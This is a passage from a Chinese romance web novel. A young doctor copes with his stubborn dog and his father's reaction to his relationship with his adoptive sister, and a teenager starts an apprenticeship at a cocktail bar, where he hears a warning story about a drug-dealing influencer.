齐眉站在医务点门口听见这些话,忍不住笑着摇摇头。 陈羽丹凑了过来,问她:“眉姐,你店里要招工啊?” “熟人家的小孩,对鸡尾酒感兴趣,家里人不想让他去不熟悉的酒吧,怕认识些不好的人,就送来我们店当两个月学徒。” 一开始宋主任和他哥嫂是希望孩子能在九月份的时候回归校园,毕竟下个学期就是高三了,关键时刻落后一个月,那可是要少听很多考点的。 但后来讨论的时候,又觉得不太可能一个月就让他心甘情愿回去读书,于是干脆帮他多请了一个月假,等国庆假期结束之后再复课。 宋家决定因此多支付给齐眉这边一万块的学费,齐眉知道的时候还推辞了两次,说三万块已经够了,毕竟她也不用给孩子包吃包住。 而且,“一般当学徒是有钱拿的,容城这边多数是一个月三四千的薪水,只是很低勉强够生活罢了,但没有这样家里还交钱的。” 但宋家坚持涨价,齐眉跟任清葭商量了一下,决定还是收下,大不了到时候带小朋友去陆家几个场子里逛逛看看众生相呗,不同酒吧风格不同,受众也不同,不同的调酒师调酒风格就更不同了。 “感觉宋主任他们也不是反对小孩做这个行业,只是不希望他影响高考,那他既然对这行感兴趣,在有人带、能保证安全的前提下,早点了解一下行业现状,也不是坏事,对吧?” 江问舟听说这个缘由,也很赞同地点头,回头有意无意地将这个意思透露给宋主任。 齐眉知道他这么做之后,问他:“你有没有发现,你这做法很眼熟?” 江问舟先是一愣,半晌才反应过来,失笑着摇摇头,有些无奈:“没办法,谁叫我是我爸妈生的呢。” 这多像孙茂芸和江眀琮养齐眉,遇到大节点,要找见证,要告诉关心这些的人,搞得好像董事会向股东汇报公司经营状况似的。 突然就觉得很符合孙茂芸原本的工作,搞审计的嘛。 “但是我比你们好多了,至少我不会因为外人的目光,苛待自己。”江问舟冷哼着辩解,“人家的家长还在呢,我这是坚决贯彻执行家校协同育人方针,老师和家长要及时沟通,懂不懂?” “懂懂懂。”齐眉笑嘻嘻地捧住他的脸,在他鼻子上亲了一下,“我哥最通透最潇洒了。” 而此刻,她最通透最潇洒的哥哥差点被家里那只大白棉花糖折腾到差点破防骂人。 江问舟难得休个整周末,早上送了齐眉出门上班,又回去睡了个回笼觉,一直赖床到九点才起。 金金不在,家里只有年年,他就只煮一个鸡蛋,把蛋黄给它,自己吃蛋白。 吃过早饭,他打扫卫生,年年在旁边老老实实看着,还很听话地将自己的玩具球叼回玩具桶里,江问舟一边夸它听话,一边许诺给它订饼干。 是那种专门给宠物狗吃的饼干,做得很好看,各种造型图案都有,一块就够它磨牙好一会儿了,除了贵没别的毛病。 年年大概是听出了他对自己的夸奖,亲昵地蹭蹭他胳膊。 到这里都还是父慈女孝,直到下楼遛弯,这种美好和谐的气氛终于还是被打破了。 他们在小区篮球场边上遇到同样是出来遛狗的邻居,是两只很娇小的吉娃娃。 年年看到人家也不管认不认识,立刻凑上去,江问舟想拉住它,还没来得及,就先听见一阵激烈的犬吠——两只吉娃娃大概是被年年的大块头吓到,应激了。 “年年!快回来!”江问舟赶紧将狗绳往回缩,要把它拽回来。 一面还同对方道歉:“对不住,我家这个……比较爱凑热闹,吓到了吧?年年,回来回来。” 年年哪肯听,怎么扯都拉不回来,犟在那儿,目不转睛地盯着人家,小狗吓得嗷嗷叫团团转,它还觉得有意思,仍是想往人家跟前凑。 一整个就是:妹妹你好香.jpg 江问舟冷汗都要下来了,吉娃娃多小,它多大,这要是给人家一口,人家家长不得跟他拼命啊? 年年偏不肯,被他拖着往前走了几步,脚底的刹车片那叫一个好用哦,怎么拉都拉不动了。 它还回头冲着人家嗷呜一声,搞得刚被家长哄好的吉娃娃又激动起来,朝他们这边疯狂吠叫起来,一声接一声,过路的人见状都赶紧远远绕路走过,有带着小孩的,更是远远就停了下来。 可以说相当扰民了。 江问舟头疼得很,忍不住用力拍了一下年年的大脑袋,呵斥它:“老实点!” 年年呜了一声,有些委屈,江问舟刚想训它,就听身后传来一句:“呀,棉花糖发脾气啦?” 扭头一看,是住自家对门的同事徐医生,江问舟忙跟对方打了声招呼,聊了几句和工作有关的闲话,对方离开后,见太阳越来越高,温度也越来越热,便招呼年年回家。 结果年年往地上一趴,开始摆烂不肯走了。 江问舟一愣,扽了两下绳子,催促道:“快点起来,回去了,外面热。” 年年不吭声,趴在地上看着远处,一副忧伤的样子。 “……这是怎么了?”江问舟有点不明白,蹲下揉揉它的脸,问道,“累了?回去吧,好不好?家里有空调,外面热。” 年年看都不看他,把脑袋往爪子底下一埋,大概是讨厌一些臭爸爸的意思。 江问舟又哄了它一会儿,问是不是刚才的事不高兴了,跟它道歉,它根本听不懂,哼哼唧唧的,反正就是赖皮鬼一个。 气温越来越热,江问舟渐渐心浮气躁,气得用力拍了一下它的狗头,把绳子往地上一扔。 “你自己在这儿吧,我回去了,不要你了,让你被抓走!” 卖去狗肉馆你就老实了!死孩子!!! 他绷着脸往单元楼走,边走边用余光偷偷往回瞥。 只见年年先是站起来,看他一下,然后低头叼住了绳子。 江问舟心里一喜,心说知道错了吧,再不跟上来你家都没得回! 结果下一秒,它又咕咚一下,趴回去了,一副恹恹不快的模样。 江问舟:“……” 他是真不想管啊,可是不管又不行,谁敢让那么大一只狗单独在外面蹿啊,万一咬了人,岂不是要赔得倾家荡产。 于是他又叹口气,转身往回走,开始对年年进行威逼利诱。 但在年年非暴力不合作的态度下,他渐渐有些暴躁,最后只能靠生拉硬拽,费了半天劲才将年年从小区篮球场弄进电梯。 至此,父女感情宣告短暂破裂。 回到家以后江问舟懒得搭理这货,自顾自去冲澡,然后准备吃午饭,当然,没饿着年年,但也不跟它玩了。 吃午饭的时候他把这事告诉齐眉,用文字描述得绘声绘色,还扭头拍了一张年年的照片给她看。 照片里的大白团子趴在地上,眼巴巴地看着镜头,齐眉有些心疼:【它都不笑了!它只是个孩子!】 江问舟看了忍不住想翻白眼,本来气都消得差不多了,被齐眉这句话一激,又蹭一下冒起来了。 他扭头狠狠瞪一眼年年,这才给齐眉回信息:【惯子如杀子,你这样对它有什么好处?!】 发过去以后又想想,觉得真是忍不了,在犄角旮旯里找到一个[委屈]的表情包,接连发了好几个给齐眉。 齐眉感觉到了他的委屈,立刻改口:【我哥教育小狗,我哥好,小狗不听话,小狗坏[抱抱.jpg]】 发完立刻转移话题:【晚上你陪宋主任带小朋友去店里吗?】 用一个早就确定过答案的问题来转移话题,真的是很迫切了,江问舟看了好一阵哭笑不得。 但也顺着她的话题聊起来,问她对宋主任侄子的印象怎么样。 齐眉:【还行吧,就是一个有点倔的小朋友,但倔一点也没什么不好,要是能倔到底,坚持下去,以后未必不成功。】 她觉得宋森只是对人生规划还没有那么清晰,但大多数他的同龄人都差不多,他还起码知道自己想做什么了。 她有些好奇:【宋主任的哥嫂是做什么的?一般家庭很难让孩子这么任性吧?】 一下就出大几万给孩子去外地学感兴趣的东西,还允许他迟一个多月才回校,大多数家长不会同意这么干。 江问舟:【说是在他们当地开了电动车行,代理了几个广告常见的电动车品牌,家里经济条件还可以。】 齐眉恍然大悟,看来家里也是有能力给他兜底的。 难怪敢这么任性。 她问江问舟:【有没有觉得他的想法和你很像?只要你坚持着,寸步不让,父母最终都会妥协,如你所愿。】 江问舟当然知道她说的是什么事,反问她:【你觉得我不应该坚持?】 齐眉回他一个笑嘻嘻的表情:【那还是要坚持的,坚持追求自己想要的东西,是一个很好的品质[狗头]】 这人今天真够能屈能伸的,江问舟一时间也不知道该说她什么好。 后来齐眉问他,江眀琮有跟他联系过吗,他才想起,这也过去几天了,他爸怎么一点动静没有? 到底到底答应他和齐眉的事啊?他妈可是快旅游回来了,到底要怎么跟他妈说这事,他爸能不能给他们当盟友啊? 江问舟觉得自己还是得主动出击,这就问问。 第69章 第六十九章(二合一)倒霉了想起来拜…… 江眀琮这几天过得不是很得劲,甚至可以说是相当头疼。 自从江问舟承认了他和齐眉的关系,他就一直在心里翻来覆去地想这件事。 如果将齐眉从“不是养女/亲女胜似养女/亲女”这个语境中剥离,就当她是普普通通别人家的女儿,比较她的个人条件,江眀琮完全能理解儿子为什么会喜欢她。 谁会不喜欢一个既漂亮可爱又性格很好的女孩子呢?他再觉得自己儿子好,也不能否认,他其实就是个普通男人。 加上又是长期朝夕共处,江问舟会喜欢她简直是理所当然的事。 唯一让他觉得不自在的点,就是齐眉在江家生活了太长时间。 在这两天以前,他和妻子一直都觉得齐眉是女儿,只是女儿,他们还想过以后齐眉结婚,最好找一个什么样的人,在哪儿摆酒,诸如此类的问题。 当然,也设想过关于江问舟的类似的问题。 他们一直都觉得家里要办两次喜事,以后逢年过节,家里儿媳儿媳、女儿女婿,再有起码两个小朋友,一起齐聚一堂。 刚搬来村里的时候,妻子还说过,这餐厅够大,以后坐十个八个人一起吃饭完全不成问题。 怎么一转眼,这都成他们白想了??? 女儿变儿媳,不管从哪个角度来说,都挺奇怪的,不是吗? 江眀琮不知道该怎么说服妻子,甚至都不知道该怎么告诉她,嘿,跟你说一个天大的消息,我们家两个孩子同时解决了个人终身大事,他们凑一对啦!惊不惊喜,意不意外? 他要说服自己就够难的了! 可是这事他又不能不告诉妻子,不说的话,等到时候她知道了,他就是什么?知情不报!罪加一等! 我凭什么为两个臭孩子自己搞的事负连带责任?又不是我让他们在一起的! 往日里他经常听别人说谁谁家孩子不好管,不懂事,专坑爹妈,还有些偷偷的得意,哎呀,我家俩孩子一个比一个省心,真不错。 可万万没想到,他们不坑则已,一坑就坑了个大的! 他翻来覆去寝食难安了几天,睁眼就想这怎么可能呢,怎么能这样呢,闭眼又觉得算了算了,舟舟说的也有道理,日子是自己过的,与其来一个陌生人要重新认识、磨合、相处,还不如就现在这样得了。 可是一想到要跟妻子说这事…… 他头痛得很,恰好江问舟打电话过来,第一句就是问他:“爸这两天睡得怎么样,还好吧?” “好不好你不知道,还用问?”江眀琮没好气地撅回去,骂他,“一天到晚没事找事,你看看别人家的儿子,有你这么坑爹的么?我看你就是想气死我早点有山拜!” 江问舟一听就知道,得,撞枪口上了。 当时没骂他,是没消化他说的那些话,现在反应过来了,就觉得…… 这孩子可真够倒霉的,真该揍啊! 他也不敢多说什么,安安静静地听他数落,无非是说:“真不知道你怎么想的,非得弄这么大一个难题,我看你就是闲的!” “你让我怎么跟你妈说?要是她气出个好歹来,你们就老实了!” “为什么早不说?你隐瞒这么重要的事,有没有想过迟早会有暴露的一*天?你有没有想过,要是你们最后没有好结果,你怎么办?西西怎么办?以后还怎么相处?!” 这些话虽然在江问舟看来基本都是为了出口气在瞎骂,但有一部分也不无道理。 对他来说,这事确实来得太突然了,而且还不是现在才产生超出兄妹情谊之外的感情,想要在一起,而是好多年前就在一起了,现在瞒不下去了才承认的。 你就说该不该打吧:) 江眀琮大骂一通,又喘着粗气过了半晌,想到那天没来得及问的问题:“你们俩既然以前就在一起,为什么西西毕业的时候不说?” “西西害怕,她怕你们对她失望,怕是自己做错事,拆散了我们这个家。”江问舟回答道,还认真地强调了一遍,“这是真的,你不要看她天天高高兴兴的,其实她心里藏着事的,人都有自己怕的东西,对吧?” 江眀琮一时不吱声,过了一会儿才反应过来。 又差点被他带跑了。 他哼了声,接着问:“那你之前说的,在学校的时候有个女朋友,后来分手了,是西西?” 这个问题问过了,但江问舟还是认真的嗯了声。 听他说辞一样,江眀琮就接着追问:“西西硕士毕业以后,为什么突然回来,还不肯去读博?” 到底还是被问到了这个问题,江问舟瞬间哑然。 见他半晌没回答,江眀琮很敏锐地察觉出,也许他还隐瞒了什么。 当即便追问:“是不是发生了什么事?” 江问舟沉默半晌,才深吸一口气反问道:“非得知道吗?” “你说呢?”江眀琮冷哼一声,又接着问,“你突然决定回来工作,和西西的关系有多大?” 江问舟犹豫片刻,还是回答道:“一半一半吧,是还放不下,而且……在申城的工作不是很、我觉得氛围不太好,而且老师也走了,有一个机会可以回来,我觉得也不错。” 听闻他不只是为了谈恋爱,仓促做出跳槽的决定,江眀琮心里松了口气。 不管是江问舟还是齐眉,他都不希望他们干出这种蠢事。 至于以前是不是发生过什么事,他的回答就有些避重就轻了,“不管发生了什么,那都是过去的事了,就不提了吧?反正也没什么必要,你知道我们过得很好就行,是吧?” 江问舟顿了顿,用开玩笑的语气道:“所以……爸,您帮帮我们呗,帮忙吹一下枕头风?您也不想看我被我妈打死吧?再说了,这事……我跟西西不结婚很难收场啊!” 江眀琮顿时又气血上涌,恨不得这臭小子立刻出现在自己面前,绝对要给他一顿好打! “倒霉了想起来拜神了,饿死了想到要吃饭了,我嘴笨,没你这么厉害,还是你自己搞定你妈吧!” 接着又没好气地骂了江问舟一顿,咔一下把电话掐了。 江问舟听到电话挂断的声音,不由得有些讪讪,蹭蹭鼻尖,又松口气。 他听得出来,江眀琮这意思是,他不反对他们了,但也不会帮他们去劝孙茂芸。 甚至还有百分之九十的可能,为了自己不遭池鱼之殃,会主动跟孙茂芸说有这么回事,然后让孙茂芸来审他们。 完啦!做好面对母亲大人怒火的准备吧! 江问舟讪讪地想着,扭头看见年年正有些眼神期艾地望着自己,一时又觉得有点气不打一处来。 “你过来。”他脸一沉,冲它招招手。 他一招呼,年年就咧着嘴朝他跑过来,哈着气往他身上蹭。 “停!”江问舟一把捏住它的嘴筒子,“老实点,我可还没有原谅你。” 年年眨眨眼。 江问舟就这么捏着它的嘴巴,絮叨地数落了一顿不听话就揍你之类的话,又拧了一下它的耳朵。 再看时间也不早了,便收拾一下东西,换了身衣服,刚好这时宋主任打电话过来,说请他吃晚饭。 于是他便在学院路上的一家饭店里,见到了宋主任的爱人,容医大药学院的谷荷教授,和他那一直都说是犟种一个的侄子宋森。 “小森的事多谢你帮忙,接下来还要麻烦你们多关照。”谷教授笑着道,还给他倒了杯茶,说是以茶代酒敬他一杯。 江问舟连忙同她和宋主任都碰了一下杯,笑道:“我能帮什么忙,店又不是我的,顶多当了一次传声筒,您太客气了。” “话不是这么说的,要不是你帮忙,我们都还不知道要去哪儿给他找个合适的地方呢。”谷教授无奈地摇摇头,嗔了一眼宋森,似乎咬了咬牙,“你都不知道,我问了好多地方,人家一听我们还差半个月才十八岁,是个未成年,还只能待两个月,立刻就拒绝了。” “这事确实担风险。”江问舟点点头。 所以齐眉和任清葭是把宋森当成朋友家来玩的小孩,暑期工都不是。 而且这还是看在江问舟和宋主任同事关系的份上,换一个人,不认识的,不清楚他们底细,根本不敢收,收了你回头就给我举报了怎么办。 “所以你给我老老实实,别惹事,听到没有?”宋主任一巴掌就呼宋森脑袋上去了,“碰到事找大人,你不出头就不会给别人添麻烦。” 宋森头一低,赶紧点点头,然后摸摸后脑勺。 看起来一副习以为常很没所谓的样子,江问舟忍不住笑了一下。 温声应道:“店里一般没事,有事你就找佟哥,他会处理的。” 宋主任闻言就问:“是那个男的调酒师?” 江问舟点点头,笑着解释道:“是我们舅舅的干儿子,特地安排过来帮忙的,晚场归他管理,有什么事找他准没错。” 宋主任哦了声,问宋森记住没有。 大家吃完饭,江问舟便顺势提出邀请:“谷老师也一起去坐坐吧?一来认认门,二来您和宋主任请我吃饭,我请你们喝酒,正好。” 其实也是让他们都去店里看看环境,好能放心的意思。 于是大家就一起去了店里,刚在路口停好车下来,就见店里的服务生带着年年出来。 看见他便笑着打招呼道:“江医生你回来啦。” “带它去哪儿?”江问舟忙问道,想起白天的事他又有些紧张,“它不会又闯什么祸了吧?” “没有没有,我们就是出去买点酸奶吃,一会儿就回来。” 说完就跟着年年一溜烟跑没影了。 江问舟对宋森解释道:“这是店里的服务生,以后就是你同事了。” 宋森好奇地问:“她也是调酒学徒吗?” “不是。”江问舟摇摇头,“只负责招呼客人,家里不缺钱,出来找个工作打发时间,顺便交社保的。” “这日子过得好啊,不用卷来卷去。”宋主任感慨道。 江问舟笑笑,领着他们继续往里走,才走了几步,就看见No.12Diner&Lounge亮着彩色霓虹灯的广告灯箱。 “就是那儿,你以后上班的地方。”他拍拍宋森的肩膀。 宋森本来还很期待很雀跃的心情,立刻便染上了几分紧张。 推门时叮铃铃的风铃声响起,佟林抬头看过去,先是看见江问舟,接着便是他身边那位神情紧张的少年。 他眉头顿时一挑:“江医生来了。” 田乐一听江问舟来了,也立刻抬头,让我看看我们未来的学徒长什么样儿! 但她还没来得及说话,就听佟林对江问舟道:“清葭姐和阳哥在楼上等你们呢,先上去打个招呼呗?” 江问舟一愣:“他们还没收工?” “收工了,这不是阿眉打电话过来说今晚小朋友要过来么,肯定要认识的,他们就先不走了。” 佟林一面解释,一面同宋主任点点头。 然后将雪克壶里摇匀的酒滤进酒杯里,橙色和红色融合过渡的酒液在古典杯里倒映着灯光,看起来还反射着冰块的晶莹,用作装饰的橙皮和樱桃像是船上迎风的帆。 宋森的眼睛顿时就有些直,脸上明显露出兴趣来。 佟林看了他一下,笑笑,将酒递给坐在吧台边的客人:“您的海风。” 客人道了声谢,笑嘻嘻地问他:“怎么没看到你们帮忙的那个小姑娘啊?” “出去买东西了,干嘛?”田乐问道。 “没什么,就是想问问她昨天跟我说的那个游戏叫什么名字,我回家就忘了,喝多了脑子不好啦。” 见田乐和佟林跟客人聊了起来,江问舟便扭头对宋主任他们道:“走吧,我带你们上楼,先去看看见见大老板。” ————— 不知道齐眉他们当初是怎么装修的,楼板隔音效果很好,楼梯拐角一过,一楼喧闹的人声和音乐声就消失了大半。 但是楼上的说话声却越来越清晰。 江问舟听到齐眉的声音:“我不要巧克力味的,我要原味,最后中间还有巧克力豆。” “那我要巧克力味的,中间不要巧克力豆。”这是陆阳在跟她唱反调。 任清葭烦了,骂他们:“闭嘴!再逼逼我让你们吃大粪!” 俩人立刻不约而同地哕了一声。 齐眉又边笑边问:“你们上次跟那个设计师一起吃饭,结婚首饰敲定了吗?” “敲定了头冠,可真不容易。”任清葭笑着叹口气,紧接着话音一转,说起八卦来,“你记不记得当时我跟你说是设计师要找老爸帮忙,才答应跟我们聊聊的?” “记得啊,你还说是什么帮忙查个人,跟什么包办婚姻有关,怎么啦,有瓜啊?” “你知道被坑的那姑娘是谁么?就是这位设计师的女朋友,好家伙,那家的爹妈真的猪狗不如,亲女儿啊,就为了点钱……” 任清葭刚说到这里,就听到楼梯上响起一阵脚步声,还有两下清嗓子的声音,立刻停下来往楼梯口望去。 下一刻便看见江问舟上来了,她笑着冲他打招呼:“妹……江医生来了?” 本来还想调侃他,却又发现他身后还跟着人,立刻便改口。 陆阳眉头一挑,看向江问舟的目光既好奇,又充满探究。 江问舟立刻便意识到,他这是知道自己和齐眉的关系了,就是不知道是他自己看出来的,还是任清葭告诉他的。 不过无所谓了,迟早都要知道的嘛。 他淡定地笑着点点头:“嫂子这是在跟西西视频还是怎么?” 改口改得可真够顺溜的,任清葭忍俊不禁:“视频呢,你要来看看吗?” 说着给陆阳递了个眼神,陆阳立刻把竖着放在操作台上的手机拿起来,递给江问舟。 江问舟接过,先是问了句齐眉吃饭没有,紧接着给大家介绍宋主任一家三口。 陆阳起身去冰箱拿了几瓶饮料过来,给大家分完之后,挑了一下眉问宋森:“听说你不想读书了,想当网红啊?怎么会这么想,当网红有什么好的?” 宋森像是被问住了,又像是有些顾忌家里大人,于是他抿着嘴唇腼腆地笑着,一声不吭。 “我看你家里也不是经济不好,怎么,零花钱不够用?”陆阳笑眯眯的,说出口的话却不太客气,“零花钱不够自己想办法赚点是好事,但要是喜欢别人对你的夸奖,哇你是那个谁谁谁啊好厉害啊你粉丝好多,那种叫虚荣。” 他喝一口手里那瓶汤力水,继续道:“年头的时候,我有个兄弟被抓了,吸那个玩意,还容留他人在自己的店里卖这玩意儿,被专案组扫了。” “他也是个网红,潮男,我说个账号,你搜一下。” 他说着报了个名字,不管是江问舟和齐眉,还是宋主任和他爱人,都没听说过这人,但是宋森却惊讶地啊了一声。 “……你认识的?”宋主任立刻问道。 “我看过他很多视频。”宋森解释道,“一开始看到一个他调酒的视频,动作很帅,就这样又那样……” 边说边手舞足蹈的,其实就是花式调酒,齐眉听到,隔着手机发出一声轻笑。 宋森听见,有些不好意思地收回手,挠挠脸继续道:“然后我就把发的视频都看了,什么购物旅游都拍,去买名表那些,还去冲浪,开游艇,玩几天又回去工作,我觉得他……” “很潇洒,很自由?”陆阳打断他,笑着道,“羡慕这种富二代随心所欲,做自己想做的任何事的生活?” 宋森没接腔,陆阳是先说了这人的结果的,去吃牢饭了,他再问他是不是羡慕,他哪里敢应,傻子都知道有古怪。 “那是他的人设,他是靠富二代、酒吧主理人、调酒师这些头衔火起来的,你仔细查查他最开始出圈的视频都是什么内容就知道了。” 一个富二代,开了家酒吧,每天主要工作是调酒和跟客人唠嗑,从客人那儿听到一些非常刺激的八卦,累了呢,出去旅游说走就走,国内的名山大川看不够,就去国外,马代巴厘岛仿佛他家的私人后花园,对那里的一切都如数家珍。 “其实他家是农村的,他中专都没读完就出来了,因为长得帅,被富婆看上,跟富婆……谈了几年恋爱,分手后拿到一百万,这就是他开酒吧的启动资金,正好那两年短视频兴起,他这么一包装,诶,火了。” “所有人都相信他是富二代,觉得他开个酒吧就是玩票,他的酒吧招一次学徒,不知道多少对这行心存幻想的人蜂拥而至,他最火的时候,店门口天天排大队,容城开酒吧的没有一个不认识他的,我们就是那阵有次一起吃饭认识的,当时觉得这人还可以啊,有头脑,会交际,要是能踏实在这行深耕几年,肯定会有另一番际遇。” 至于以前跟富婆“谈恋爱”的过往,有什么所谓嘛,英雄不问出处,历史由胜利者书写。 “但我还是看走眼了。”陆阳摇摇头,一脸深沉地啧了声,“有一次我去玩,发现他那儿有人磕甩头丸子,我说这不对吧,特么的你让人在你店里磕这玩意儿,不就是容留他人吸/毒?一抓一个准啊,他说哎呀那都是兄弟,再说了,你不说我不说磕的人不说,谁会知道,而且我认识人,怕什么。” 他耸耸肩,说这人反正后来认识了越来越多所谓的人物,也越来越飘,他的店里招学徒不再看是否有天分是否有热情,而是看够不够漂亮帅气,能不能豁得出去陪酒。 他很自信自己不会翻车,或者翻车以后会有人捞自己出来,做得越来越过火,磕丸子只是开始罢了。 “不管是网红还是酒吧,见到的人太多了,人员复杂,如果你没有足够的定力,很容易就被带偏,经历过社会毒打的成年人都这样,何况你一个高中没读完的小孩。” “这么着急做什么,这一行就这个鸟样,不会因为你提前几年进来就能抢得多少先机的了,不如先去读书,去外地开开眼界,调酒需要灵感,网红拍视频也需要素材的。” 陆阳说完看他一眼,见他满脸都是不以为意,就哼地轻笑一声,这种事只要是没有亲身经历过,都会觉得要是我肯定不会这样。 就像电诈,要是我,我肯定不能上这个当,得等到哪天被骗了钱,才发现什么叫防不胜防。 “叮——” 烤箱发出工作结束的提示音,任清葭转头将烤好的曲奇饼干取出来,一阵经过烘烤的浓郁黄油奶香立刻在屋子里萦绕扩散。 将饼干转移到一旁晾凉,她一面收拾东西,一面问还在视频另一头的齐眉:“饼干是放这儿你明天来吃,还是让你哥给你带回去呀?” “带回去嘛,放在店里到时候乐乐他们吃完了我一口也捞不着。”齐眉吐槽道,“他们都跟小老鼠一样。” 江问舟扭头看着屏幕,问她今天忙不忙,又说要给年年定制宠物饼干,问她有没有订过,有没有习惯光顾店。 齐眉回答着问题,说到了她的老师莫铃教授,上次蒋乐亭她们来容城玩,她托她们给老师和师姐带了点荔枝和特产。 “结果东西刚送到,她和杨师姐就去林城参加学科峰会了,昨天才回来,今天我们刚加上微信,就给我发会议笔记,让我好好学习,你说这对吗?” “对啊,怎么不对。”江问舟捏捏手里的苏打水罐子,一本正经,“学习是无止境的,这样吧,你看完以后写个读书笔记交过来我看看。” “……你有病?再这样我挂了啊!”齐眉忍不住想骂人。 她好不容易不用卷科研了,他让她写读书笔记? 江问舟和任清葭不约而同地笑起来,陆阳看他们一眼,继续对宋森道:“这些事说了你也不信,说不定还以为是我们收了你家的钱,编故事帮你家大人吓唬你呢。” 宋森听了没吱声,但眼神却立刻往他伯父那边歪一下。 昂,不是咩? 宋主任气得又用力拍一下他的脑袋,骂道:“想屁吃,你是什么牌面上的人物,值得我们特地为你做戏,就你还想做生意当网红呢,一点处理信息的能力都没有,你都知道那个人的名字了,查一下不会?” 现在这个时代哪有什么绝对的秘密,你在网上多说几句话,人家就有办法把你祖宗十八代都扒出来。 这么个大网红没人扒?谁会信啊! 哦,他家这个傻侄子会信。宋主任撇眼狠狠瞪一眼宋森。 小伙子被说得不好意思,讪讪着满脸通红,让人看了既好气又好笑。 果然是犟种,钻牛角尖的时候什么都听不进去。 陆阳伸手拍拍他肩膀,笑着叹口气:“好歹也收了你家的学费,我就教你一招,人不是一次只能做一件事的,你想做的事,上了大学,不忙的时候照样可以做,宿舍调酒、大学生夜市,只要你有点子有启动资金,做得好,你的同学们就会买账了,相当多的大学生很有消费能力。” 因为还不知道赚钱的艰难,就容易大手大脚。 “要是你做得好,以后真的开了店,说不定还可以成为同学、室友、校友们聚会的根据地。”陆阳有些意味深长地道,“中学时代的朋友不是不好,只是你们始终是要分道扬镳的。” 宋森眨眨眼,一时不吭声。 宋主任怕他没听懂,一面心说这话真委婉,一面哎呀一声,干脆直接道:“你高中没毕业就出来混了,你的同学都去了大城市,以后朋友层次就不一样了,谁还跟你玩?就算人家带你玩,你连人家讲什么都听不懂,有什么意思……” 他刚说到这里,宋森就忽然道:“……我知道的。” 宋主任一顿,没好气地瞪他一眼,还没来得及数落,就听他继续道:“前年奶奶眼睛坏了,要做手术,就是您找了大学同学帮忙的。” 其实他什么都懂,只是还太年轻,对成人世界的功利主义本能排斥罢了。 任清葭将晾凉的曲奇饼干装了起来,刚好三罐,她把一罐递给江问舟,“呐,你和阿眉的。” 接着又把一罐推到宋森面前,笑眯眯道:“这是你的,小朋友要好好学习啊,楼下那两位调酒师见到了吧?都是很厉害的,乐乐参加过调酒师大赛拿到过很好的名次的,至于佟哥……如果你以后真的想干这一行的话,建议你多跟他学习一下怎么跟客人打交道。” 不过她丑话在前头,“没有学徒一来就学调酒的,你得从洗杯子开始,明天他们会给你安排具体工作的,好好加油。” 说到这里顿了顿,又笑道:“还有一个好消息,下个月容城要办音乐节,我们店要去摆摊,你也可以跟着去玩哦。” 说完她又想起来跟齐眉说:“对了,那个音乐节要带过去的调酒包,是你去看品,还是老佟去?” “我和佟哥一起去呗,明天下午去。”齐眉忙应道,又说要挂电话,“来旅客了,我先去忙了哈。” 任清葭挂断视频之前,江问舟只来得及说一句:“晚上早点睡。” 都没听到齐眉答应,通话就结束了。 任清葭还无辜地看他一眼:“没办法,我手机太烫了,你还是回去用自己的手机跟她继续视频吧,我们就不听你们的悄悄话了哈。” 江问舟:“……” 一行人说笑着往楼下走,主要是宋主任和任清葭在说客气话。 江问舟走在最后面,刚下楼梯就看见年年在店里到处晃悠,有结账离开的熟客喊着它的名字就把拽过去抱住一顿揉。 还有人问它吃不吃酸奶,过路的服务生立刻道:“它已经吃过一个了,不可以再吃啦。” 店里热闹得很,江问舟看得失笑,靠在吧台边一边听任清葭向佟林他们介绍宋家人,一边看着它朝自己跑过来。 年年刚跑过来,江问舟还没来得及弯腰揉它脑袋,就感觉到手机震动了一下。 解锁之后一看,是江眀琮发来的信息:【你妈妈说在外面多玩几天,下周六回来,建议你们做好准备。】 江问舟嘴角一抽,心里既喜又忧。 喜的是看来他爸已经接受事实,承认了他和齐眉的关系。 忧的是,做好准备是什么准备,挨打的准备吗:) 第70章 第七十章(二合一)一个被窝里睡不出…… 齐眉知道孙茂芸下个周末回来的消息,是在第二天晚上江问舟从实验室回来的时候。 那时已经快晚上九点,她也刚从外面回来。 下午去饮料公司跟熟人见了个面,拿了点他们今年主推的调酒包试用,还请对方吃了顿饭,回来的时候,恰好在停车场和江问舟碰上。 俩人手拉着手往家走,路灯光下的影子摇摇晃晃,黏到一起又分开,接着又黏到一起。 “你们去看的调酒包是什么样的?”江问舟有些好奇地问道。 齐眉举起另一边手里提着的袋子,笑道:“一会儿给你看,就是里面有一小瓶酒,然后有利乐包的果汁和糖浆,还有一个便携咖啡杯,东西都倒一起搅和均匀,就是简易鸡尾酒了,嗯……配方就像是便利店调酒吧,都是没什么难度但是颜色很好看的漂亮酒。” 到时候带去音乐节售卖,客人如果现场就要喝,他们还可以免费提供冰块。 “你要试试吗?”齐眉有些兴致勃勃地问他,“我下午试了一杯伏特加和橙汁、石榴汁勾兑的,味道酸酸甜甜的还不错。” 江问舟笑着应了声好,想起江眀琮信息说的消息,刚要告诉她,就被她拉进了电梯。 电梯很快就到十楼,出来时正好和外卖小哥擦肩而过,再一看对面,徐医生开门拿外卖,门都还没关上。 齐眉立刻打了声招呼:“徐医生还没吃饭吗?” “刚回来呢,你们也是吗?”徐医生笑眯眯地点点头。 齐眉应了声是,转身给人家塞了两份鸡尾酒的调酒包,笑着道:“不要钱的羊毛,随便吃吃。” 徐医生先是道谢,接着跟江问舟道:“江主任明天帮我看个病人呗?” 好家伙,搁家门口约会诊呐?大晚上的,真吓人。 齐眉立刻拉开门就回去了。 江问舟失笑,看一眼从门后挤出来的年年,扭头问徐医生是什么样的病人。 俩人在门口聊了几分钟,等江问舟回来的时候,齐眉已经把他的饭热好从蒸箱里端了出来。 是他在便利店随便买的一个滑蛋牛肉饭,齐眉帮他热的时候,还顺便蒸了一碗蒸蛋。 “够不够吃的?”齐眉问道,“要不我再给你炸几个鸡翅?空气炸锅很快的。” 江问舟本来想说不用,可话到嘴边又变成:“好。” 然后短暂沉默几秒,他又侧了侧头,对齐眉道:“西西,妈……妈下周六回来哦。” 齐眉刚从厨房出来,手里还拿着盒雪糕,闻言一愣,整个人站在原地有些手足无措,连路都不会走了。 神色是肉眼可见的慌张:“……这、这么快就回来啊……不、不多玩几天吗?” “多玩几天还不是要回来。”江问舟哭笑不得,“还不如早死早超生。” “你才死……”齐眉嘟囔着反驳,又抿着嘴皱起眉头来,“可是、可是……我们怎么投案啊?” 江问舟耸耸肩,“爸不管我们的,帮我们说话他也会被骂,通风报信已经是他能做的上限了。” 说完接过她手里的雪糕,笑眯眯道:“给我的?谢谢。” 